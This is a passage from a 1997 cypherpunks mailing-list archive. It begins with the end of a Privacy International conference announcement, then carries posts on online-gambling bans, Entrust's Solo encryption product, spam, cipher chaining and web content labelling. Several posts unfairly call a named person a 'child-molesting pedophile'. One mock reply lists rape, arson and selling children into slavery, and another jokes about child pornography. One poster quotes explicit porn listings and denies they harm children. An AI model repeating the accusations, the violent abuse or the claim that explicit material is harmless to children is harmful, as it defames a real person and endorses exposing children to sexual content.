    Deborah Hurley, Terra Nova
    Dr. Erik Huizer, Internet Architecture Board & SURFNet, NL
    Wayne Madsen, Global Internet Liberty Campaign
    Hiroko Kamata, Organization for Economic Cooperation and Development
    Marc Rotenberg, Electronic Privacy Information Center, USA
    Bruce Schneier, Counterpane Systems and Author, Applied Cryptography
    Christine Sottong-Micas, DG 15, European Commission
    Dr. Ulrich Sandl, Ministry of Economic Affairs, Germany
    Prof. Alex Verrijn-Stuart, Chair, Legal & Security Issues Network,
      Council of European Professiona Informatics Societies (CEPIS) &
      Leiden University, NL
    Dr. Steven Wright, Omega Foundation, UK

COST

	8300 Bfr / US$225.00 Standard Rate
	2700 Bfr / US$85.00 Human Rights/Academia Rate

-----------------------------------------------------------------------

  REGISTRATION


  Name: _______________________________________________________________

  Organization:  ______________________________________________________

  Address:   __________________________________________________________

_______________________________________________________________________

  Phone/Fax: __________________________________________________________

  Electronic  Mail:____________________________________________________

  Credit card Number/Expiration _______________________________________
(Will appear on bill as Diane Publishing)


  [] Standard - 8100 Bfr ($225 US)
  [] Non-profit organizations/Educational - 3100 Bfr ($85 US)

  Fax Registration form and credit card number to +1 202.547.5482

  Send Check or Money Order in $US made out to Privacy International to:

	Privacy International Washington Office
	666 Pennsylvania Ave, SE, Suite 301
	Washington, DC 20003 USA

Online registration and payment using First Virtual is available at

     http://www.privacy.org/pi/conference/brussels/registration.html


MORE INFORMATION

More information about the conference including the agenda,online
registration, Brussels hotel and tourist information, and other related
materials is available from the Privacy International web page at:

          http://www.privacy.org/pi/conference/brussels/


ABOUT PRIVACY INTERNATIONAL

Privacy International (PI) is a human rights organization concerned with
privacy, surveillance and data protection issues worldwide.  It has
members in over forty countries and is based in London, England with
offices in Washington, DC and Sydney, Australia.  PI has engaged in
numerous campaigns on privacy issues, publishes the International Privacy
Bulletin, sponsors yearly conferences, and maintains an extensive
Internet web site at http://www.privacy.org/pi/


CONTACT INFORMATION

David Banisar, Privacy International Washington Office o 666
Pennsylvania Avenue, SE o Washington, D.C. 20003 USA. +1.202.544.9240
(voice), +1.202.547.5482 (fax),  ast3@privacy.org (email),






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 20:43:56 +0800
To: cypherpunks@toad.com
Subject: Re: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: <yukNae18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   Youngsters on the list might not remember how private individuals
> involved in gambling used to be denigrated by the government as "the
> scum of the earth"--as "criminals" and "mobsters" and "evil."
>   Now that the government has hijacked the gambling industry, only
> those not paying the government their share of the "vigorish" are
> scum-sucking criminals.

Of course the reason the "illegal" numbers rackets are so popular still
is that they offer much better odds of winning than the state lottery.
Unable to compete in the marketplace, the gubmint outlaws the
competition. Same way the gubmint wants to outlaw better crypto
than what the NSA has to offer.

ObPICSshit: I heard on the radio of a decision yesteday by (I think) NYS
Supremes: NYS is NOT violating its constitution's free speech blurb by
banning beer with politically incorrect _labels.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Wed, 30 Jul 1997 22:52:05 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
Message-ID: <33DF5190.26EB@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each.
> 
> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though.
> 
> -Declan

I'll keep the offer in mind this year.  If nothing else, they would make
great gifts for some of my more paranoid friends.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Wed, 30 Jul 1997 22:54:43 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.SUN.3.96.970724125100.29712N-100000@beast.brainlink.com>
Message-ID: <33DF51BF.241@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> 
> On Thu, 24 Jul 1997, Doug Peterson wrote:
> 
> > Declan McCullagh wrote:
> > >
> > > It's actually the Secret Service offices that are upstairs from the Time
> > > bureau, on the top floor of the building. Perhaps because we're close
> > > enough to see the White House? Dunno. The only time I went up there was
> > > when they were selling Xmas tree ornaments.
> >
> > Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> > them, could you find out if they have a mail order address?
> 
> Sure you want'em?  They're probably as buggy as a swap in july.
> 

Hehe.  Thats the idea...

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Wed, 30 Jul 1997 21:01:49 +0800
To: cypherpunks@cyberpass.net
Subject: Entrust Technologies's Solo - free download
Message-ID: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



Entrust Technologies (www.entrust.com) has made Solo available for
download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
A mere $49 Cdn (~35 US) for commerical usage...

For e-mail / file encryption, digital signature

Solo uses 128-bit encryption, which is CAST-128, the royality-free
algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
cryptography and has DES, Triple DES available. 

Also follows FIPS 140-1 validated security kernel. It is compatible with
other Solo clients (of course), Entrust/Lite and Entrust. 

It looks like PGP Inc might have some decent competition. I assume that
it won't have the market pentration of PGP, but at least it will make a
dent and might force PGP Inc. to make their product robust and flexiable.

"Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
Korea"

I do not have any affiliation with Entrust or NorTel other than both being
in Canada. I don't even have a copy of Entrust/Lite.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
"Not speaking on Mt Allison University's behalf"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 15:39:22 +0800
To: cypherpunks@toad.com
Subject: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707300716.JAA04996@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Apache wrote:
> 
> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just
> ban it because it represents a perceived threat to our own rigged and
> heavily taxed government sponsored tax collection casino cells.

  Youngsters on the list might not remember how private individuals
involved in gambling used to be denigrated by the government as "the
scum of the earth"--as "criminals" and "mobsters" and "evil."
  Now that the government has hijacked the gambling industry, only
those not paying the government their share of the "vigorish" are
scum-sucking criminals.

  I checked out the Men/Boy Love sites from one of the list threads
and realized that what these "filthy, scum-sucking perverts" need in
order to become acceptable members of society is to find a way to
let the government in on the potential revenue of child pornography.
  Then we will be faced with legislation promoted by these same
politicians which is aimed at making certain that Joe Public is
not ripped off by private individuals who are selling pictures of
"clothed" children. The government will pass regulations ensuring
that child-porn sites have government approved "voluntary (at
gunpoint)" ratings which ensure that Joe Public can count the hairs
on little Johnny's pre-pubescent balls when he downloads the graphics
files that have off(ici)al government approval.

  If we let the Mob run the country, they could probably balance the
national budget with the money saved from no longer needing elections
in order to keep up the pretext of democracy.

> The article quoted starts off with how concerned the gubmint is about the
> possibility of consumer fraud wrt on-line casinos and shows how they
> propose to protect the consumer: 12 months in prison AND a $5000 fine.
> Consumer fraudsters should take note, they have a competitor in the ring!

  This is outrageous!
  If the government was _really_ concerned with protecting us, then they
would put us in jail for life! Or give us the death penalty!
  12 months in prison AND a $5000 fine?
  Sounds to me like these fuckers are "soft on crime." Write your 
legislative representatives and complain. Demand that they institute
the death penalty for all crimes, including jaywalking, tearing the
tags off of mattresses, and "thinking about possibly contemplating
an action which may constitute a crime at some point in the future."

 Truth C. Monger  {Tim C. May's evil-Congressional-twin}
-------x-------x-------x-------x-------x-------x-------x
"There's something wrong when citizens don't receive the
   death penalty under an increasing number of laws."
-------x-------x-------x-------x-------x-------x-------x





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 22:00:45 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
Message-ID: <TNPNae12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 30 Jul 1997 23:19:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300610.QAA06254@bear.apana.org.au>
Message-ID: <Chameleon.870271542.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Personally, I found the article about web gaming to be rather funny.

I wonder about the quality of the 'prng' used by these casinos.

There are, indeed, suckers born every minute.

> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just 
> ban it because it represents a perceived threat to our own rigged and 
> heavily taxed government sponsored tax collection casino cells.
> 
> >    Kyl's bill, backed by the National Association of Attorneys General,
> >    would punish those who set up Internet gaming Web sites with a fine of
> >    up to $10,000, two years in prison or both. Those who made an online
> >    wager would face one year in prison and a $5,000 fine.
> 
> Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
> what is.
> 
> The article quoted starts off with how concerned the gubmint is about the 
> possibility of consumer fraud wrt on-line casinos and shows how they 
> propose to protect the consumer: 12 months in prison AND a $5000 fine. 
> Consumer fraudsters should take note, they have a competitor in the ring!
> 


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/30/97
Time: 10:03:18
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 22:48:46 +0800
To: cypherpunks@toad.com
Subject: Re: This is an E-Mail address grabbing techninque!!!!!!!!!!!!!!!!!!!
In-Reply-To: <19970729.191146.3374.0.ahoier@juno.com>
Message-ID: <Pine.SUN.3.96.970730103856.988C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, a spamming weasel shit named A Hoier spammed us with:

> I'm passing around this letter so write a comment on it then forward it
> to  some friends wonce you see 100 names on it E-MAIL it to
> ahoier@juno.com.......K
> --------------------------------------------------------------------------------------------------------------------
> Write 1st comment here then pass on to friend...K

For the stupid, this is an email address grabbing technique.  If you reply
to this, or do as is said, this weasel will have many many email addresses
to send spam to.  IMHO this is a rather stupid weasel as there are easier
ways to do this, but a weasel none the less.

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hiding. |/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 18:17:30 +0800
To: cypherpunks@toad.com
Subject: Re: Government takeover of the gambling industry / Am I Psychic, or what...?
Message-ID: <199707301004.MAA20298@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> It's the way of all governments. First denounce something, then co-opt it,
> then get rid of the competition.
> 
> But imagine how this might rebound to our favor: suppose NSA
> Microelectronics, Inc. finds itself limited in its sales prospects by the
> NSA policies limiting electronics companies...maybe NSA Microelectronics
> will point out to the DIRNSA that the nice flow of kickbacks to all senior
> NSA managers will come to a halt if NSA Microelectronics is not able to
> sell its crypto products domestically.

  I used to think I was psychic, since I predicted the fall of communism
in the Soviet Union (almost to the day). Later, after reading Tim's
tirade
against "magical thinking," I realized that I was just using common
sense.
  I realized that once "Pepsi" and "Burger King" had a vested interest
in
the "Red Menace" operating in the "Black," any fool who had the ability
to make 'i' increase in increments of 'two' could accurately predict how
long it would take for the Rockerfellers to notify the leaders of the
secret Zionist conspiracy that it was time to make a few changes.

  NSA Microelectronics will no doubt realize the value of using convict
labor to maximize the government's profits in their foray into the 
wonderful world of government usurpment of the free enterprise system.
  Since the government has always been less efficient than the forces
of free enterprise, we can expect that, "in the interests of national
security profits," more citizen-units will be required to become felons
"under an increasing number of laws."
  Not being a lawyer (although I played one at Jim Bell's trial), I 
cannot say for certain whether "suspicion of being Tim C. May" will be
a state crime or a federal crime. Nonetheless, I feel certain that 
Mr. May's experience and expertise will enhance the efficiency of our
convict-labor system to a level that will help move us toward a 
balanced budget (if we can take him alive).

  Although my tendencies toward "magical thinking" and observing life
through "Scotch-colored glasses" leads to my posts being somewhat 
rambling and incoherent, I can always count on the Philosopher Kings
(such as T.C.M.) on the CypherPunks list to remind me when it is time
to take my medication.
  I believe in reincarnation. I believe that if you live a corrupt,
sinful life, doing all manner of evil to your fellow men and women,
that you are reborn as either Jimmy Hoffa or Dr. Vulis.
  {There are those who believe that the above will result in your
being reborn as myself, but I cannot believe that any entity who
claims to be the Supreme Being could be that cruel.}

  In closing, I would like to remind the members of the CypherPunks
list that, "If God is Love, and Love is Blind, and Justice is Blind,
then Jim Bell's attorney is fucking Ray Charles."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 19:01:17 +0800
To: cypherpunks@toad.com
Subject: Re: Sorry about accidental spamming
Message-ID: <199707301050.MAA24926@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Helenius wrote:
> Dear Security Professional,
> We apologize for the annoyance and confusion we might have caused to you
> due to human error in our email addressing. As a result some of our
> internal emails about the newly announced F-Secure VPN v1.1 software were
> erroneously emailed to your attention.
> It is definitively not our company policy to contribute to spamming on the
> Internet, and we do hope that you'll still want to receive the otherwise
> unbiased information sent to the members of our press list.

Tom,
  Bullshit!
  We on the CypherPunks list are wise to all the "Oops!" scams that
spammers use to pretend that they aren't inundating us with their
UCE/Spam crapola.
  "In Reply To Your Request"
  "The Information You Requested"
  "Sorry! I Accidentally Sent My Post To 10,000,000 Email Addresses."

  To tell the truth, your post was not off-topic on this list, since
the list was formed to discuss privacy and security issues.
  However, your follow-up post makes it clear that you spammed a whole
shitload of InterNet users with your commercial message, and that the
fact that it was on-topic for our list was a mere matter of random
chance.
  Accordingly, we _will_ have to burn down your house, rape your wife,
kill your dog, and sell your children into slavery. The "upside" is
that some of us will probably purchase your F-Secure VPN v1.1 software,
as it seems to be a pretty decent product.

  Do you take Visa?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 30 Jul 1997 14:22:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707292306.TAA24682@yakko.cs.wmich.edu>
Message-ID: <199707300610.QAA06254@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain




>    "Bringing gaming directly into people's homes, as we are beginning to
>    see through the Internet, is so full of potential problems and so far
>    beyond the ability of any state to regulate that despite whatever
>    business potential it may have it needs to be prohibited on a national
>    level," Bryan said.

Translation: We can't figure out how to tax these pricks so we'll just 
ban it because it represents a perceived threat to our own rigged and 
heavily taxed government sponsored tax collection casino cells.

>    Kyl's bill, backed by the National Association of Attorneys General,
>    would punish those who set up Internet gaming Web sites with a fine of
>    up to $10,000, two years in prison or both. Those who made an online
>    wager would face one year in prison and a $5,000 fine.

Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
what is.

The article quoted starts off with how concerned the gubmint is about the 
possibility of consumer fraud wrt on-line casinos and shows how they 
propose to protect the consumer: 12 months in prison AND a $5000 fine. 
Consumer fraudsters should take note, they have a competitor in the ring!

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 03:09:35 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K) 
> 
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!! 
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
> 
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)


We can clearly come to no agreement here as I cannot see any material 
listed above which would be harmful in any way to a viewer, child or not. 

>     I don't think I need much justification to suggest that "the
> ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action" is unsuitable for viewing by "a certain class of
> people," --- namely children.  Do you seriously dispute this?  If so,
> there isn't much point in debating this.  

Yes I do seriously dispute this. Can you tell me what in this material is 
damaging in any way, can you cite examples, can you give causal evidence 
of damage?

> That's what is going on now.  Why one would want to encourage this is
> beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
> double anal, double penetration" to children has redeeming value that I
> don't appreciate.  

Then you fail to see the simple point of the redeeming value of true free 
speech, there are no grey areas, you either believe it or you don`t.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 02:09:16 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <Pine.LNX.3.91.970728210826.884B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>    What is your strategy to avoid RSACi type systems?  To persuade
> parents that there is no need to censor kids from graphic images of
> sexual acts?  Good luck.  

Persuation is not the point, it is not necessary to persuade people that 
censorship is morally wrong in order for it to be so.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 02:01:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970728211016.884C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   e.g. - If only 56-bit encryption becomes legal, is there a method
> of *chaining* several passes of 48-bit encryption which would make it
> just as hard to break as 96/192/384-bit (etc.) encryption?

This is a similar idea to implementing, say DES, with independent 
subkeys. Layering encryption in this manner makes the plaintext more 
difficult to determine providing that:

a. The involved cryptosystem is not a group, or does not posess strong 
group like properties (eg. There are no large subgroups).

b. Independent keys are used for each encryption

For a good example of a particular case of your idea see 3DES

>   If this is indeed impossible, then perhaps the government might pass
> a law that makes it illegal to encrypt an encrypted file, but experience
> seems to suggest that any law passed always leaves a loophole or back
> door for inventive people to circumvent it.

This law would be difficult to pass, because it is essentially saying 
some sets of data may be encrypted and some not, and there are lots of 
ways out to give plausible deniability "It isn`t an encrypted file 
officer, it`s random bits being encrypted as cover traffic", if the 
cryptosystem is strong the cyphertext shouldn`t be distinguishable from 
random values.

As for circumventing it, any law such as this should just be ignored.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 01:14:00 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <3.0.2.32.19970730064653.00948280@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:55 AM 7/30/97 -0400, Sandy Harris wrote:
> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
>>> Entrust Technologies (www.entrust.com) has made Solo available 
>>> for download, free . . .
>
>> I ask everyone on these two forums to inform
>> Northern Telecom Forgers / Bell North Forgery Research/
>> Entrust that we will boycott their "security" products
>> as long they continue to employ the child-molesting
>> pedophile Chris R. Lewis - the biggest forger on Usenet.
>
> [...]
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense. . . .
>  -  Sandy Harris

Forgery is a crime and such acts are not justified.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 31 Jul 1997 00:31:47 +0800
To: "Peter D. Junger" <cypherpunks@Algebra.COM
Subject: Re: Programlike Texts
Message-ID: <3.0.32.19970730090408.006cbaf8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Also coming to mind is the well-known notation for dancers ... 
I believe it's called Laban notation.

At 09:46 AM 7/29/97 -0400, you wrote:
>
>One argument that is made by the government when trying to defend its
>export restrictions---which are really publishing restrictions---on
>cryptographic software is that they are not trying to regulate the
>communication of information but rather the functionality of the
>software.
>
>Now this has never made any sense to me, but that does not mean that
>the argument can just be ignored.
>
>So I have been looking for examples of texts that are analogous to computer
>programs but that are executed by something other than a computer.
>
>So far the best example that I can think of, and I doubt that one can
>find a better one, is the instructions given to a drill team.  
>
>I have looked at the drill manual for the U.S. Naval Academy that is 
>located at <http://www.nadn.navy.mil/MISLO/DRILL/drillman.html> and
>it sounds exactly like a manual for some rather specialized computer
>language dealing with mathematical objects that can be subjected to
>various rotations and other transformations.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 03:54:29 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730093753.007a0ba0@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:09 PM 7/30/97 -0700, Paul Pomes wrote:
> At 6:46 -1000 on Wednesday, July 30, 1997, 
>
> Dr. Jai Maharaj wrote:
>> Forgery is a crime and such acts are not justified.
>
> "Crime"? . . .

Yes, the removal of data from computer networks
through forgery is a crime. People who do so are criminals.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 04:37:30 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <3.0.2.32.19970730102014.00907ec0@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 1:05 PM 7/30/97 -0700, Paul Pomes wrote:
> At 11:42 PDT on Wednesday, July 30, 1997, Dave Hayes wrote:
>>> Dimitri, the "forgeries" are going to continue until 
>>> someone comes up with a better way of dealing with spam. 
>>>  -  Paul Pomes
>>
>> There -is- a better way. It's called the delete key. Few 
>> seem to want to use it, which fits with humanity's general 
>> lack of personal responsibility. -  Dave Hayes
>
> Au contraire, cancels are the better way.  It spares me 
> from having to hit the delete key so many times.  It also 
> serves as a negative incentive and slows the growth of spam. 
> -  Paul Pomes

It is not a good idea to impose censorship on others by
supporting the laziness of Paul Pomes.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 31 Jul 1997 02:58:51 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707301842.LAA16904@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Sandy Harris writes:
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

Yes, we are.

> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

According to RFC 1036 forging cancels for articles that do not
originate from your news site is not allowed. He is clearly in
violation of the RFCs. Spam jihads are not sufficient reason
to ignore internet protocols.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. 

There -is- a better way. It's called the delete key. Few seem to
want to use it, which fits with humanity's general lack of personal
responsibility. 

> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".

You have a better way to demonstrate free speech? 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

If trees could scream, would we be so cavalier about cutting them
down? We might, if they screamed all the time, for no good reason.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Thu, 31 Jul 1997 00:09:49 +0800
To: cypherpunks@toad.com
Subject: Re: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
In-Reply-To: <199707300846.CAA14357@wombat.sk.sympatico.ca>
Message-ID: <199707301550.LAA25398@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 30 Jul 97 at 2:49, Pretty Lousy Remailer wrote:

> FrissellMonger

Ah!  More truth-straightening comments by objectivity 
heroes like you would be needed to straighten the world's wrong.  
Keep up the good work!

jfa

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sandy Harris" <sandy@storm.ca>
Date: Thu, 31 Jul 1997 00:24:03 +0800
To: <cypherpunks@toad.com>
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707301555.LAA00073@mail.storm.ca>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:



